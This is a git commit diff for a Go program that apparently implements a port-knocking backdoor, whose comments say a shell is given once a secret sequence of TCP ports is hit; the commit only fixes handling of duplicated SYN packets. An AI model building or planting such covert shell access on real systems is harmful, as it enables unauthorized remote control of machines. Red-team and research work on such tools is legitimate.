fixed 2x TCP issue

This commit is contained in:
d3adzo
2022-01-15 15:16:19 -05:00
committed by Pin
parent 3f6d3b3f80
commit 4c5b302292
2 changed files with 8 additions and 1 deletions

View File

@@ -29,6 +29,7 @@ type targetInfo struct {
// when secretCounter == len(secretPorts),
// port knocking is complete and shell is given
secretCounter int
lastPort layers.TCPPort
}
const (
@@ -112,8 +113,13 @@ func printPacketInfo(packet gopacket.Packet, tInfo *targetInfo) {
if tcp.SYN {
// fmt.Printf("From port %d to %d\n", tcp.SrcPort, tcp.DstPort)
// Check dst port for secret port
if tcp.DstPort == layers.TCPPort(tInfo.secretPorts[tInfo.secretCounter]) {
tInfo.lastPort = tcp.DstPort
if tcp.DstPort == layers.TCPPort(tInfo.secretPorts[tInfo.secretCounter]) {
tInfo.secretCounter++
tInfo.lastPort = tcp.DstPort
} else if tInfo.lastPort == layers.TCPPort(tInfo.secretPorts[tInfo.secretCounter]) { // fixed TCP 2x duplication issue
fmt.Println("duplicate tcp") // pass
} else {
// reset counter
tInfo.secretCounter = 0

View File

@@ -4,6 +4,7 @@ import (
"bufio"
"log"
"net"
"os"
"os/exec"
"strings"
"syscall"